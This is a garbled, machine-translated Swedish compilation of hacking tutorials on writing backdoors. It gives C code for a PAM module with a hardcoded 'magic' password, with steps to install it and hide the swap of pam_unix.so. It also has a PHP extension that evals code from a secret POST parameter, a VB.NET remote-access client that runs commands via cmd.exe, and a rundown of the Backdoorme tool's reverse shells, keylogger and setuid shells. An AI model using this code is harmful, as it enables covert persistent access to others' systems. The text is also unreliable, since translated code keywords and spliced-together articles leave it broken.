Vi skriver en bakdörr. Universellt verktyg för att installera bakdörrar: Vad är fel med systemuppdateringar

Det finns många sätt att få fotfäste på en hackad maskin. Från de vanligaste och mest lättupptäckta (lägg till dig själv i användarbasen) till komplexa kärnmoduler som implementerar ett omvänt skal till en fjärrdator. Men bland dem finns en väldigt lättimplementerad och ganska hemlig metod som förvånansvärt få känner till. Detta är en modifiering av modulerna i PAM-autentiseringssystemet, som används av alla moderna UNIX-system.

Vad är PAM

Pluggable Authentication Modules (PAM) är en uppsättning API:er som krävs för att implementera autentiseringsmekanismer i olika applikationer.

Före tillkomsten av PAM, för att implementera autentisering, till exempel med ett nyckelkort, var utvecklare tvungna att lägga till stödkod för samma nyckelkort i varje komponent i systemet som ansvarar för användarautentisering. Det vill säga, det var nödvändigt att lägga till och bygga om inloggningsverktyget, sshd, såväl som all annan programvara som det var planerat att lägga till sådan funktionalitet till.

Med tillkomsten av PAM har saker och ting blivit mycket enklare. Nu, för att lägga till ditt eget unika självskrivna autentiseringsprotokoll till systemet, räcker det att implementera det inom en enda PAM-modul. Och alla verktyg och applikationer som kan fungera med PAM kommer att hämta det och använda det för att autentisera användaren.

I praktiken ser det ut så här: inloggningsverktyget kommer åt PAM, som utför alla nödvändiga kontroller med de moduler som anges i konfigurationsfilen och returnerar resultatet tillbaka till inloggningsverktyget. Bekvämt, eller hur? Detta tillvägagångssätt innehåller dock möjligheter som vi kan använda för att förankra i systemet.

Det är värt att göra en liten ansvarsfriskrivning. Det finns tre huvudsakliga PAM-implementationer:

• Linux-PAM är den huvudsakliga implementeringen av PAM på alla Linux-system;
• OpenPAM - används i BSD-system och macOS;
• JPam är en PAM-implementering för Java-applikationer.

Vi kommer inte att fokusera på någon specifik implementering. Den grundläggande funktionaliteten är densamma överallt.

Aspekter av att fästa i * nix med PAM

Du kan hitta PAM-inställningar för varje applikation i katalogen /etc/pam.d(Linux) eller /etc/pam.conf. Ett exempel på konfigurationsfil för inloggningsverktyget på macOS:

auth valfritt pam_krb5 .så use_kcminit auth valfri pam_ntlm .så try_first_pass auth valfritt pam_mount .så try_first_pass auth krävs pam_opendirectory .så try_first_pass konto krävs pam_nologin .so konto krävs pam_opendirectory .so lösenord krävs pam_opendirectory .so session krävs pam_launchd .so session krävs pam_uwtmp .so session valfri pam_mount .so

Låt oss ta reda på vilken typ av magi som händer här.

Konfigurationsfilen beskriver verifieringsreglerna som måste följas för framgångsrik användarautentisering eller för att utföra andra åtgärder (byta lösenord, förbereda användarmiljön). Varje rad i konfigurationsfilen innehåller en regel. Kontroller utförs rad för rad.

Från vänster till höger: modultyp, kontroll_flagga, modulnamn. Typen av autentiseringsmodul är i första hand av intresse för oss, dessa moduler ansvarar för autentisering. Control_flag är en egenskap hos modulen. Den kan anta följande värden:

• requisite (required) - Om modulen ger ett positivt svar, exekveras resten av kedjan och begäran uppfylls. Om modulen ger ett negativt svar, avvisas begäran omedelbart och andra kontroller utförs inte;
• krävs - Precis som krävs: om svaret är ja utförs resten av kedjan av kontroller. Den enda skillnaden är att vid ett negativt svar fortsätter kedjan av kontroller att utföras, men begäran avslås;
• tillräcklig - Tillfredsställer begäran om ingen av de tidigare kontrollerna i kedjan har fungerat negativt. Om modulen fungerade negativt ignoreras resultatet och kedjan av kontroller bearbetas vidare;
• valfritt - Modulen bearbetas, men resultatet ignoreras.

Redan i detta skede insåg du förmodligen att genom att göra små ändringar i konfigurationsfilen kan vi säkerställa en framgångsrik inloggning till systemet med vilket lösenord som helst (markera bara alla auth-moduler som valfria). Men den här lösningen kommer att fungera tills den legitima användaren eller administratören märker att han lyckats logga in i systemet även med fel lösenord.

Att skriva din egen bakdörrsmodul

PAM tillåter oss att koppla in våra egna autentiseringsmoduler. Därför kan vi skapa en modul med ett "magiskt" lösenord och se till att systemet accepterar både vanliga användarlösenord och våra egna. Om vi ​​anger ett felaktigt lösenord kommer vi att se det ganska förväntade autentiseringsfelet. Inte ett dåligt alternativ.

Så här är koden (glöm inte att ersätta magiskt lösenord med ditt "magiska" lösenord):

#omfatta #omfatta #omfatta #omfatta #omfatta #omfatta #define MYPASSWD "magiskt lösenord" PAM_EXTERN int pam_sm_setcred (pam_handle_t * pamh, int flaggor, int argc, const char * * argv) ( returnera PAM_SUCCESS; PAM_EXTERN int pam_sm_acct_mgmt (pam_handle_t * pamh, int flaggor, int argc, const char * * argv) ( returnera PAM_SUCCESS; PAM_EXTERN int pam_sm_authenticate (pam_handle_t * pamh, int flaggor, int argc, const char * * argv) ( char * lösenord = NULL; pam_get_authtok (pamh, PAM_AUTHTOK, (const char * *) & lösenord, NULL); if (! strncmp (lösenord, MYPASSWD, strlen (MYPASSWD))) returnera PAM_SUCCESS; retur - 1;

Låt oss bygga modulen:

$ sudo apt - få installera libpam0g - dev gcc $ gcc - fPIC - c pam_backdoor .c $ ld - x - shared - o pam_backdoor .så pam_backdoor .o

Och lägg den i katalogen med andra moduler:

$ sudo chown root: root pam_backdoor .so $ sudo cp pam_backdoor .so / lib / x86_64 - linux - gnu / säkerhet /

Observera att sättet / lib / x86_64-linux-gnu / säkerhet /är specifik för Debian/Ubuntu. På Fedora, Red Hat och CentOS finns moduler i katalogen / lib64 / säkerhet / och på Arch Linux i katalogen / lib / säkerhet /.

Nu återstår bara att konfigurera PAM på ett sådant sätt att din moduls validering är tillräcklig för framgångsrik autentisering. Till exempel, konfigurationen för su ( /etc/pam.d/su):

På vissa Linux-system kan autentiseringsinställningar placeras i flera filer: common-auth, common-password, common-session och sedan kopplas till konfigurationsfilerna för specifika verktyg via @include. Denna punkt måste beaktas.

När du har gjort inställningarna i konfigurationen kommer su-verktyget att starta upp dig med lösenordet som anges i modulen. Samma knep kan göras med inloggningsverktyget (konsolinloggning) och sshd för fjärrinloggning.

Bädda in bakdörren i en befintlig modul

När du redigerade PAM-konfigurationen kanske du har lagt märke till modulen pam_unix.so. Den här modulen ansvarar för användarautentisering med hjälp av UNIX-standardlösenordsbasen / etc / passwd... Det används av många verktyg, inklusive su, login, sshd och andra program (som SecureFTPd).

Eftersom PAM fortfarande är öppen källkod och vi har tillgång till källkoden för både demonen själv och dess standardkomponenter, kan vi bädda in vår bakdörr direkt i den här modulen.

För att göra de nödvändiga ändringarna, ladda ner PAM-källorna:

$ http: // www .linux - pam .org / library / Linux - PAM - 1.1.8.tar.gz $ tar - xzf inux - PAM - 1.1.8.tar.gz

Öppnar filen Linux-PAM-1.1.8 / moduler / pam_unix / pam_unix_auth.c och letar efter följande rader:

Vi samlar in och ersätter originalmodulen med vår egen:

$. / konfigurera $ göra $ sudo cp Linux - PAM - 1.1.8 / modules / pam_unix / .libs / pam_unix .so / lib / x86_64 - linux - gnu / säkerhet /

För att förhindra att administratören märker bytet ändrar vi skapandet av filen så att den sammanfaller med skapandet av andra moduler.

Idag ska vi prata om att skriva en PHP-bakdörr som en förlängning. Vanligtvis lämnar de flesta crackers en del kod i anpassade skript. Naturligtvis är sådana saker lätt att hitta tack vare. Fördelarna med förlängningen är uppenbara:

• svårt att hitta
• kringgå disable_functions
• möjligheten att kontrollera hela koden
• åtkomst till kodexekvering med hemlig parameter

Men i det här fallet fanns det några nackdelar, du behöver möjligheten att redigera php-konfigurationsfilen.

Som ett exempel kommer jag att skriva under Windows. Jag använde Visual Studio 2012 Express Edition för att skriva tillägget. Du behöver också källorna till den nödvändiga PHP-versionen och de sammansatta biblioteken (du kan bygga från samma källor). För enkelhets skull, ladda ner källorna också.

Packa upp den kompilerade PHP i C: \ php, och källorna i C: \ php-src.

Sedan måste du göra några VS-inställningar.

1) Lägg till förprocessordefinitioner:
ZEND_DEBUG = 0
ZTS = 1
ZEND_WIN32
PHP_WIN32

2) Lägg till kataloger för att ansluta källor: C: \ php-src \ main; C: \ php-src \ Zend; C: \ php-src \ TSRM; C: \ php-src \ regex; C: \ php-src

3) Lägg till ytterligare katalog med php5ts.lib ( C: \ php \ dev)

4) Lägg till anslutning av php5ts.lib-biblioteket.

5) Ange sökvägen till den insamlade filen.

Efter att ha konfigurerat studioparametrarna för att utveckla tillägget (du kan läsa mer om det), låt oss skapa ett nytt bakdörrsprojekt av typen "Win32 Console Application".

Välj typ: "DLL Library"

Ta sedan bort onödiga filer från projektet. Ska bara vara kvar bakdörr.cpp, stdafx.cpp och stdafx.h.
Till rubrikfil stdafx.h lägg in följande kod:

#pragma en gång #ifndef STDAFX #define STDAFX #include "zend_config.w32.h" #include "php.h" #endif

Låt oss nu gå direkt till tilläggskoden. Låt oss ta bort alla rader och lägga till anslutningarna för de nödvändiga filerna.

#inkludera "stdafx.h" #inkludera "zend_config.w32.h" #inkludera "php.h"

Om studioinställningarna är korrekta försvinner varningarna. När en modul initieras finns det flera händelser, som var och en inträffar under vissa förhållanden. Vi måste köra vår kod medan begäran körs. För att göra detta måste vi initialisera med den funktion vi behöver, jag valde "hideme" som namn.

PHP_RINIT_FUNCTION (dölj);

Därefter kan du fortsätta till initieringen av modulen.

Zend_module_entry hideme_ext_module_entry = (STANDARD_MODULE_HEADER, "enkel bakdörr", NULL, NULL, NULL, PHP_RINIT (hideme), NULL, NULL, "1.0", STANDARD_MODULE_PROPERTIES); ZEND_GET_MODULE (hideme_ext);

Som jag redan skrev behöver vi bara exekvera koden vid tidpunkten för begäran, så lanseringen vid laddning och avlastning av modulen ersätts med NULL. Nu kan du gå till huvuddelen av hideme-funktionen.

PHP_RINIT_FUNCTION (hideme) (char * method = "_POST"; // superglobal array, från vilken vi tar parametern och värdet char * secret_string = "secret_string"; // parametern som kommer att innehålla den onda koden zval ** arr; char * code; if (zend_hash_find (& EG (symbol_table), metod, strlen (metod) + 1, (void **) & arr)! = FAILURE) (HashTable * ht = Z_ARRVAL_P (* arr); zval ** val; if (zend_hash_find (ht , hemlig_sträng, strlen (hemlig_sträng) + 1, (void **) & val)! = FAILURE) (// sök efter den nödvändiga parametern i hashtabellkoden = Z_STRVAL_PP (val); // parametervärde zend_eval_string (kod, NULL, (char *) "" TSRMLS_CC); // kodexekvering)) returnerar SUCCESS;)

Det borde framgå av kommentarerna. Till en början ställer vi in ​​parametrarna metod och hemlig_sträng... Sedan går vi igenom den valda arrayen och letar efter en parameter med en lämplig nyckel, om det finns en, ta ett värde från den och exekvera koden genom zend_eval_string.

Efter montering får vi ett bibliotek som kan användas som tillbyggnad.

Demonstration på GNU Linux

Demo på Windows:

Hej alla) Som ni redan har märkt kommer jag idag att berätta för er hur man skriver din egen bakdörr "på vilket språk som helst" (om du vet hur man skriver program och har fantasi).

Så låt oss börja med det faktum att vi först måste göra en länk mellan admin och klient. För detta använder vi PHP, och endast 5 rader kod)

if ($ _GET ["cmd"]! = "cmd_clear") ($ cmd = fopen ("cmd.txt", "w +"); // Skapa en tom fil, om det finns en, rensa den. fwrite ( $ cmd, $ _GET ["cmd"]); // tryck på det som finns i "cmd"-parametern, och som vi minns fanns det "msg (HelloWorld!)" Fclose ($ cmd); // stäng filen bakom oss ) else ($ cmd = fopen ("cmd.txt", "w"); // Skapa en ny fil (dvs rensa vår cmd.txt) fclose ($ cmd); // stäng filen bakom oss)

Jag hittade den här koden någonstans på Internet.
Denna kod lämnar kommandon för vår bakdörr)

Så låt oss gå ner till adminpanelen, först skissar vi på formuläret en knapp och en textruta, och en webbläsare, som jag sätter på det andra formuläret, så att det inte stör mig)

Låt oss sedan gå vidare till koden

Vi anger vår sida så att den laddas när programmet startar) och förklarar att den är en global variabel

Public www As String Private Sub Form1_Load (ByVal-avsändare Som System.Object, ByVal e As System.EventArgs) Hanterar MyBase.Load www = "http: // localhost /" End Sub

Låt oss återuppliva knappen där vi säger att skicka en GET-förfrågan till vår adminpanel på webbplatsen, efter cmd = vårt team) kommer msg-taggen att behövas för bearbetning av klienten.

Private Sub Button1_Click (ByVal-avsändare som System.Object, ByVal e As System.EventArgs) hanterar Button1.Click Form2.WebBrowser1.Navigate (www & "rat / admin.php? Cmd =< msg>"& TextBox1.Text &"< /msg>") TextBox1.Text =" "End Sub

Vår adminpanel är klar)

Låt oss gå vidare till klienten) vi slänger inget på formuläret, förutom timern)

Låt oss skriva ner timern med vilken vårt program kommer att kontrollera webbplatsen (cmd.txt-fil) och naturligtvis startar timern med programmet)) Precis som i adminpanelen kommer vi att deklarera globala variabler, nu finns det två av dem, och vi behöver också ansluta två bibliotek

Importerar System.Text Importerar System.IO Public WC Som Ny System.Net.WebClient Public www Som String Private Sub Form1_Load (ByVal avsändare Som System.Object, ByVal e As System.EventArgs) Hanterar MyBase.Load www = "http: // localhost / "Timer1.Enabled = True Timer1.Interval = 5000 End Sub

För enkelhetens skull gjorde jag en konstgjord fördröjning

Nåväl, nu koden för själva timern, dvs. vad som ska köras) Först, analysera våra data) för detta specificerade vi msg-taggen, ja, sedan med Shell-kommandot startar vi kommandoraden med de angivna kommandona)

Private Sub Timer1_Tick (ByVal avsändare As System.Object, ByVal e As System.EventArgs) Hanterar Timer1.Tick Dim R () As String = ("< msg>") Dim L () As String = ("< /msg>") Dim myHttpWebRequest As Net.HttpWebRequest = Net.HttpWebRequest.Create (www &" rat / cmd.txt ") Dim myHttpWebResponse As Net.HttpWebResponse = myHttpWebRequest.GetResponse () .Text.Encoding) Str.1GetEncoding.2 String = myStreamReader.ReadToEnd () Om InStr (Str, R (0)) 0 Då Dim Tmp As String = Str.Split (R, StringSplitOptions.None) (1) Dim Res As String = Tmp.Split (L, StringSplitOptions. Inga) (0) WC.DownloadString (www & "rat / admin.php? Cmd = clear_cmd") Vänta (2) Shell ("cmd.exe" + Res) Else End If End Sub

P.S. om du är intresserad av den här artikeln, nästa gång kommer jag att göra en artikel om hur man döljer vår klients handlingar.

Backdoorme - verktyg för att automatiskt skapa bakdörrar

Backdoorme är ett kraftfullt verktyg som kan skapa många bakdörrar på Unix-maskiner. Backdoorme använder det välbekanta metasploit-gränssnittet med fantastisk töjbarhet. Backdoorme förlitar sig på äganderätten till offrets befintliga SSH-anslutning eller referenser, genom vilken den kan passera och placera ett kryphål. Vänligen använd Backdoorme med öppet tillstånd.

Dold för gäster

​

Backdoorme kommer direkt ur lådan med ett antal inbyggda bakdörrar, moduler och hjälpmoduler. Bakdörrar är specifika komponenter för att bygga och distribuera den nödvändiga bakdörren som netcat bakdörr eller msfvenom bakdörr. Moduler kan appliceras på alla bakdörrar och används för att göra bakdörrar mer kraftfulla, dolda eller snabbare inaktiverande. Subs är användbara operationer som kan utföras för att bibehålla beständigheten.

Lite mer om bakdörrar: För att köra backdoorme, se till att du har de nödvändiga beroenden.

$ python dependencies.py

Lansering av backdoorme:

$ python master.py

Bakdörrar

För att använda bakdörren, kör bara nyckelordet "använd".

>> använd skal / metasploit + Använda aktuellt mål 1. + Använda Metasploit bakdörr ... (msf) >>

Därifrån kan du ställa in alternativ för att matcha bakdörren. Kör antingen "visa alternativ" eller "hjälp" för att se en lista med alternativ som kan konfigureras.

Som med metasploit är bakdörrar organiserade i kategorier.

• Extra
  • keylogger- Lägger till en keylogger till systemet och gör möjligheten att skicka tillbaka resultaten via post tillgänglig för dig;
  • enkelhttp- Installerar python SimpleHTTP-servern på klienten.
  • användare- Lägger till en ny användare till målet.
  • webb- Installerar Apache Server på klienten.
• Eskalering (tilläggskategori)
  • setuid- SetUID-bakdörren fungerar genom att ställa in setuid-biten på den körbara filen, förutsatt att användaren har root-åtkomst. När den här körbara filen senare lanseras av en användare som inte har root-åtkomst, exekveras den givna filen med root-åtkomst. Som standard växlar denna bakdörr setuid-biten till nano, så att om root-åtkomst går förlorad på något sätt kan en angripare SSH tillbaka in som en oprivilegierad användare och fortfarande kunna köra nano (eller valfri binär fil) som root. ("nano / etc / skugga"). Observera att för att distribuera denna bakdörrstillägg krävs root-åtkomst redan i början.
  • skal- skal bakdörr är en privilegierad bakdörrsförlängning, som liknar dess SetUID-förlängningssyskon (men mer specifik). Det duplicerar bash-skalet till en dold binär och ställer in SUID-biten. Observera att root-åtkomst initialt krävs för att distribuera denna bakdörrstillägg. För att använda denna bakdörr om SSH agerar som en oprivilegierad användare, kör helt enkelt ".bash -p" så får du root-åtkomst.
• Skal (skalkategori)
  • våldsamt slag- använder ett enkelt bash-skript för att ansluta till en specifik ip- och portkombination och skicka resultatet till bash.
  • bash2- den något annorlunda (och säkrare) bash-bakdörren som beskrivs ovan, som inte ber klienten om ett lösenord.
  • metasploit- använder msfvenom för att generera reverse_tcp binär på målet, kör sedan binär för att ansluta till meterpreter wrapper.
  • netcat- använder netcat för att skicka standard input och output till / bin / sh, vilket ger användaren ett interaktivt skal.
  • netcat_traditional- använder netcat-traditionella "s -e för att skapa ett omvänt skal.
  • perlÄr ett skript skrivet i perl som omdirigerar resultatet till bash och byter namn på processen för att få det att se mindre framträdande ut.
  • php- kör en php-bakdörr som skickar resultatet till bash. Den installerar inte webbservern automatiskt, utan använder istället webbmodulen.
  • valp- använder n1nj4sec Pupy bakdörr som finns på

    Dold för gäster

    .
  • pytonorm- använder ett kort python-skript för att köra kommandon och skicka tillbaka resultaten till användaren.
  • webb- skickar webbservern till målet, laddar sedan ner msfvenom php reverse_tcp backdoor och ansluter till värden. Även om detta fortfarande är en php-bakdörr, är det inte samma sak som php-bakdörren som beskrivs ovan.
• Tillgång
  • remove_ssh- tar bort ssh-servern på klienten. Det är mycket bekvämt att använda i slutet av bakdörrssessionen för att ta bort eventuella spår.
  • ssh_key- skapar RSA-nyckel och kopierar till mål för anslutning utan ssh-lösenord.
  • ssh_port- Lägger till en ny port för ssh.
• Windows (Windows-kategori)
  • fönster- Använder msfvenom för att skapa en bakdörr för fönster.

Moduler

Varje bakdörr har möjlighet att skaffa ytterligare moduler, som används för att göra bakdörren mer kraftfull. För att lägga till en modul, använd bara nyckelordet "lägg till".

(msf) >> lägg till gift + Giftmodul tillagd

Varje modul har ytterligare alternativ som är konfigurerbara och om "hjälp" körs om kan du se eller ställa in ytterligare alternativ.

De för närvarande tillgängliga modulerna inkluderar:

• Förgifta
  • Producera bin-förgiftning måldator - Den kompilerar en körbar fil för att anropa ett systemverktyg och en befintlig bakdörr.
  • Till exempel, om förgiftningsbin-modulen körs med "ls", kommer den att kompilera och porta en binär som kallas "ls" som kommer att köra både den befintliga bakdörren och den ursprungliga "ls", vilket gör att användaren inte kan köra bakdörren oftare .
• Cron
  • Lägger till en befintlig bakdörr till rotanvändarens crontab för att köras med angiven frekvens.
• webb
  • Installerar en webbserver och är värd för en webbsida som kör bakdörren.
  • Han går bara till sajten med en öppen lyssnare och bakdörren lanseras.
• Användare
  • Lägger till en ny användare till målet.
• Börja
  • Tillåter att skapa bakdörrar med bashrc- och init-filer.
• Vitlista
  • Vitlistar en IP så att endast den IP kan ansluta till bakdörren.

Översättning:

I vår blogg på Habré pratar vi inte bara om utvecklingen av vår produkt - fakturering för teleoperatörerna "Hydra", utan publicerar också material om att arbeta med infrastruktur och använda teknologier.

Den tyske journalisten och hackaren Leif Ryge skrev en intressant artikel för Ars Technica om att det moderna sättet att organisera programuppdateringar innebär allvarliga informationssäkerhetsrisker. Vi presenterar för din uppmärksamhet de viktigaste tankarna i detta inlägg.

Bakgrund

Tillbaka 2014 skrev Washington Post att företag som Apple och Google borde ha uppfunnit något som en hemlig nyckel med vilken de kunde få tillgång till sina produkter och som de skulle lagra och överföra till specialtjänsterna endast om de fick en laglig lösning." .

Att bli av med "svaga länkar", en attack mot var och en av dem kan bli kritisk, borde bli ett grundläggande krav för alla nya distributionsmekanismer för programvara.